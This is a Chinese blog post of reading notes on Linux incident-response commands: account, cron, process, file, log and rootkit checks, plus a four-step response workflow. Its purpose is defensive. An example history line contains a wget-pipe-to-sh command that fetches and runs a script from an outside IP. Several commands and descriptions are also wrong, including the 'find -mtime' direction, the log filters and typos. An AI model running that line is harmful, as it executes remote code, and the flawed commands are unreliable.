应急响应常用命令(Linux)---读书笔记

一、系统排查

1. 系统信息查询

lscpu             --- 查看cpu信息

uname -a      --- 查看OS信息

lsmod          --- 查看模块信息

2.用户信息查询

cat /etc/passwd   显示 bin/bash 表示账号状态可登录

                           显示sbin/nologin 表面账户不可登录

                            配合grep 可以查看可以登录的用户

cat /etc/passwd |grep -E "/bin/bash$"

----------------------------------------------------------------------------------         

awk -F: '{if($3==0)print $1}' /etc/passwd

                           查询可登录账户UID为0的账户,也就是root用户。

注: awk是用于处理文本文件相关数据,F指定分隔符, $N代表第N列。

                          以:为分隔符,如果第3列为0 ,则打印第1列的信息

                          $0 代表整个文本行;

                          $N 代表文本行中的第 N 个数据字段;

-----------------------------------------------------------------------------------  

lastb                   查看用户错误的登录信息

lastlog                查看所有用户最后的登录信息

last                     查看用户最近登录信息

who                    查看当前用户登录系统信息

awk -F: 'length($2)==0 {print $1}' /etc/shadow

                          查看空口令账户:第2列长度为0,则密码为空

-----------------------------------------------

3.启动项排查

cat /etc/init.d/rc.local 查看init.d文件夹下的rc.local文件内容

cat /etc/rc.local

ls -alt /etc/init.d

4.检查任务计划

crontab -l            查看当前的任务计划

crontab -u root -l 查看root 用户的任务计划

ls /etc/cron*       使用正则的*筛选出cron开头的文件

二.进程排查

 1. 分析可疑端口及进程

netstat -antlp |more    查看监听的服务 

ls -alt /proc/PID   查看指定PID的可执行文件

lsof -p PID           查看进程打开的文件 

ps aux                 检查进程
-------------------------------------------------------

如果是恶意代码,需要处置

kill -9 PID          结束恶意进程

rm -rf filename  删除恶意文件

注解:如果root无法删除文件,则可能该文件被加了i属性,使用

              lsattr filename   查看文件属性

              chattr -i filename 移除文件的i属性

2. 对于隐藏进程的排查

   ps -ef| awk '{print}' |sort -n|uniq >1

   ls /proc |sort -n|uniq >2

   diff 1 2 

  三、服务排查

    chkconfig --list 查看系统中运行的服务

    1 --- 表示单用户模式

    2--- 表示无网络连接的多用户命令行模式

    3--- 表示有网络连接的多用户命令行模式

    4--- 表示不可用

    5 --- 表示带图形界面的多用户模式

    6 --- 表示重新启动

service --status-all 查看所有服务的状态。

四、文件痕迹排查

1. 敏感目录

/tmp目录和命令目录 /usr/bin/    /user/sbin

~/.ssh 和  /etc/ssh经常作为一些后门配置的路径

2. 时间点查询

通过列出攻击日期内变动的文件,发现相关的恶意文件。

find命令

find / -ctime 0 -name "*sh"

              查找一天内新增的sh文件

在查看指定目录时,也可以对文件时间进行排序,比如:

ls命令

ls -alt | head -n 10   --- 查看排序后前10行的内容  【对于时间点的查找】

stat命令

stat commandi.php  --- 查询文件的时间信息

3. 特殊文件

恶意文件存在特定的设置、特定的关键字信息。

查找隐藏的恶意文件

ls -ar |grep "^\."      .代表当前目录,  ..代表上一级目录

特殊权限文件排查:查找777权限的文件。

find  /tmp -perm 777  

find  . *.txt -perm 777

Webshell查找:通过分析文件、流量、日志,基于文件的命名特征和内容特征。

find /var/www/ -name "*.php"| xargs egrep

系统文件排查:

ls -alt /bin  查看命令目录下相关系统命令的修改时间

rpm -Va 查看发生过变化的软件包

ls -alh /bin 查看相关文件的大小,如果明显偏大,则文件可能被替换

Linux后门检测:(chkrootkit和rkhunter均需要下载安装)

chkrootkit 用来检测rootkit是否被安装到当前系统中

chkrootkit -q |grep INFECTED   --- 检测并筛选出存在infected内容

rkhunter进行命令Binary检测,包括MD5校验、rootkit检测、本机敏感目录检测、系统配置检测、服务及套件异常检测、第三方应用版本检测等。

rkhunter --check

排查SUID程序:

对于一些设置了SUID权限的程序进行排查,可以使用find命令

find / -type f -perm -04000 -ls -uid 0 2>/dev/null

五、日志分析

日志一般放在目录 /var/log/ 下面,具备包括:

/var/log/wtmp  --- 记录登录进入、退出、数据交换、关机及重启。

/var/log/cron   --- 记录有定时任务相关的日志

/var/log/messsages --- 记录系统启动后的信息和错误日志

/var/log/apache2/access.log  --- 记录Apache的访问日志

/var/log/auth.log   --- 记录系统授权信息,包括用户登录和使用的权限机制等。

/var/log/userlog --- 记录所有等级用户信息的日志

/var/log/xferlog(vsftpd.log) --- 记录Linux FTP日志

/var/log/lastlog --- 记录登录的用户,可使用命令 lastlog

/var/log/secure --- 记录大多数应用输入的账号和密码,以及登录是否成功信息

/var/log/faillog  --- 记录登录系统不成功的账号信息

使用cat可以查看相关日志

ls -alt  /var/spool/mail 查看邮件相关日志记录文件

cat /var/spool/mail/root 可以发现相关的攻击行为

日志分析命令

grep   sed    sort     awk

常用的日志命令及功能如下:

tail -n 10 test.log  --- 查询最后10行的日志

tail -n +10 test.log --- 查询10行之后的所有日志

head -n 10 test.log --- 查询头10行的日志

head -n -10 test.log --- 查询除了最后10行的其他所有日志

在*.log日志文件中统计独立IP地址的个数的命令

awk '{print $1}' test.log |sort |uniq |wc -l

awk '{print $1}' /access.log |sort |uniq -c |sort -nr|head -10

查找指定时间段的日志

sed -n'/2014-12-17 16:22:31/,/2014-12-18 23:10:12/p' test.log

grep '2014-12-17 16:22:32' test.log

定位有多少IP地址暴力破解主机root账号的命令

cat /var/log/secure |awk '/Accepted/{print $(NF-3)}'|sort|uniq -c|awk '{print $2"="$1;}'

(CentOS)

查看登录成功的IP地址的命令

cat /var/log/auto.log |awk '/Failed/{print $(NF-3)}'|sort|uniq -c|awk '{print $2"='$1;}'

(ubuntu)

查看登录成功日期、用户名、IP地址的命令
grep “Accetped”  /var/log/secure |awk '{print $1,$2,$3,$9,$11}'

其他系统的日志:

Apache 日志:

                /var/log/httpd/access.log

                /var/log/apache/access.log

               /var/log/apache2/access.log

                /var/log/httpd-access.log

Ngnix日志:

               /usr/local/nginx/logs 

               access.log  ---访问日志   error.log ---错误日志   

Tomcat日志

                默认在TOMCAT_HOME/logs/目录下

数据库日志

    Oracle : 查询日志路径  select * from v$logfile

                    查询之前使用过的的sql select * from v$sql

    Mysql:   show variables like 'log_%'  --- 查看是否启用日志

                  默认路径在 /var/log/mysql 

                show variables like 'general'

六、内存分析

Volatility 开源内存取证工具


七、流量分析

一般工具: PCHunter、 Process Monitor

数据包过滤分析: Wireshark

八、威胁情报

威胁情报金字塔:David J. Bianco <The Pyramid of Pain>

包括文件Hash值、IP地址、域名、网络或者主机特征、攻击工具和TTPs(Tactics、Techniques and Procedures)

 相对来说,工具、技术层面的威胁情报成本相对较高。

IOC(Indicator of Compromise)通常指在检测或者取证中,具有高置信度的威胁对象或特征信息。在应急响应中,威胁情报

平台查询到的信息一般都属于 IOC.

勒索病毒

无C2服务器加密技术:

在加密前先随机生成新的加密密钥对(非对称公,私钥)

使用新生成的公钥对文件进行加密

采用攻击者预埋的公钥把新生成的私钥进行加密,保存于一个ID文件中或嵌入加密文件

无C2服务器解密技术: ·

通过邮件和在线提交的方法,提交ID串或加密文件中的加密私钥(一般攻击者会提取该私钥)

·攻击者使用保留的与预埋公钥对应的私钥 解密受害者提交过来的私钥

·把解密私钥或解密工具交付给受害者进行解密

挖矿木马

netstat -anpt 查看进程

ls -alh /proc/PID  

kill -9 PID

rm -rf filename

----------------------------------------------------------------------------------------------------

附一篇应急响应的文章

        Linux环境下处理应急响应事件往往会更加的棘手,因为相比于Windows,Linux没有像Autorun、procexp这样的应急响应利器,也没有统一的应急响应处理流程。所以,这篇文章将会对Linux环境下的应急响应流程进行讲解,并且提供每一个环节中所用到的shell命令,以帮助大家快速、系统化地处理Linux环境下的病毒。

        处理Linux应急响应主要分为这4个环节:

        识别现象->清除病毒->闭环兜底->系统加固

        首先从用户场景的主机异常现象出发,先识别出病毒的可疑现象。

        然后定位到具体的病毒进程以及病毒文件,进行清除。

        完成前2步还不够,病毒一般会通过一些自启动项及守护程序进行重复感染,所以我们要执行闭环兜底确保病毒不再被创建。

        将主机上的病毒项清除干净后,最后就是进行系统加固了,防止病毒从Web再次入侵进来。

走完这4个环节,才能算是一个应急响应流程的结束。

 

01 识别现象

第1个环节要求我们通过系统运行状态、安全设备告警,发现主机异常现象,以及确认病毒的可疑行为。

系统CPU是否异常

枚举进程,CPU降序排序:top

CPU占用率超过70%且名字比较可疑的进程,大概率就是挖矿病毒了。

是否存在可疑进程

枚举进程命令行:ps -aux

病毒一般都携带可疑的命令行,当你发现命令行中带有url等奇怪的字符串时,就要注意了,它很可能是个病毒downloader。

安全网关有无报警

从安全网关报警中识别出威胁是最直接,但确认主机已经感染了病毒只是第一步,接下来得定位,具体是哪个进程在与C&C通信。

监控与目标IP通信的进程:

while true; do netstat -antp | grep [ip]; done

有时安全网关检测到的不全是恶意IP,还有可能是个域名,这种情况下,域名对应的IP是变化的,我们不能直接用上述方法进行监控。

我们可以先在host文件中添加一条规则,将恶意域名重定向到一个随机的IP地址,然后对其进行监控。

这样就能得到与之通信的恶意进程了。

有无可疑历史命令

遍历主机历史命令,查找有无恶意命令:history

02 清除病毒

从第1个环节追溯到的进程信息,将会帮助我们定位到病毒进程&病毒文件,实现清除。

结束病毒进程

清除可疑进程的进程链:

ps -elf | grep [pid]
kill -9 [pid]

删除病毒文件

定位病毒进程对应的文件路径:

ls -al /proc/[pid]/exe
rm -f [exe_path]

03 闭环兜底

检查是否存在可疑定时任务

枚举定时任务:

crontab -l

查看anacron异步定时任务:

cat /etc/anacrontab

检查是否存在可疑服务

枚举主机所有服务,查看是否有恶意服务:

service --status-all

检查系统文件是否被劫持

枚举系统文件夹的文件,按修改事件排序查看7天内被修改过的文件:

find /usr/bin/ /usr/sbin/ /bin/ /usr/local/bin/ -type f -mtime +7 | xargs ls -la

检查是否存在病毒守护进程

监控守护进程的行为:

lsof -p [pid]

strace -tt  -T -e  trace=all  -p $pid

扫描是否存在恶意驱动

枚举/扫描系统驱动:lsmod

安装chkrootkit 进行扫描:

wget ftp://ftp.pangeia.com.br/pub/seg/pac/chkrootkit.tar.gz
tar zxvf chkrootkit.tar.gz
cd chkrootkit-0.52
make sense
./chkrootkit

安装rkhunter 进行扫描:

Wget https://nchc.dl.sourceforge.net/project/rkhunter/rkhunter/1.4.4/rkhunter-1.4.4.tar.gz
tar -zxvf rkhunter-1.4.4.tar.gz
cd rkhunter-1.4.4
./installer.sh --install
rkhunter -c

04 系统加固

最后一个环节往往是大家比较容易遗忘的,Linux平台下90%的病毒是通过网络传播感染的,所以,你的主机之所以会感染病毒,大部分原因也是因为Web安全防护不够,赶紧检查一下。

修改SSH弱密码

查询log主机登陆日志:

grep "Accepted " /var/log/secure* | awk '{print $1,$2,$3,$9,$11}'

定位有爆破的源IP:

grep "Failed password" /var/log/secure|grep -E -o "(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)"|uniq -c

爆破日志的用户名密码:

grep "Failed password" /var/log/secure|perl -e 'while($_=<>){ /for(.*?) from/; print "$1\n";}'|uniq -c|sort -nr

SSH爆破是Linux病毒最常用的传播手段,若存在弱密码的主机很容易被其他感染主机SSH爆破成功,从而再次感染病毒。

添加命令审计

为历史的命令增加登录的IP地址、执行命令时间等信息:

保存1万条命令:

sed -i 's/^HISTSIZE=1000/HISTSIZE=10000/g' /etc/profile

在/etc/profile的文件尾部添加如下行数配置信息:

USER_IP=`who -u am i 2>/dev/null | awk '{print $NF}' | sed -e 's/[()]//g'`
if [ "$USER_IP" = "" ]
then
USER_IP=`hostname`
fi
export HISTTIMEFORMAT="%F %T $USER_IP `whoami` "
shopt -s histappend
export PROMPT_COMMAND="history -a"

让配置生效:

source /etc/profile

生成效果:

76  2019-10-28 17:05:34 113.110.229.230 wget -q -T180 -O- http://103.219.112.66:8000/i.sh) | sh

打上常见Web漏洞补丁

structs2系列RCE漏洞

thinkphp5.X RCE漏洞

Redis未授权访问漏洞

Confluence RCE漏洞(CVE_2019_3396)

Drupal RCE漏洞(CVE-2018-7600)

ThinkPHP RCE漏洞(CVE-2019-9082)

结尾

Linux平台下的恶意软件威胁以僵尸网络蠕虫和挖矿病毒为主,由于Linux大多作为服务器暴露在公网,且Web应用的漏洞层出不穷,所以很容易被大范围入侵,如常见的病毒:DDG、systemdMiner、BillGates、watchdogs、XorDDos,在很多Linux上都有。大家要养成不使用弱密码、勤打补丁的好习惯。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值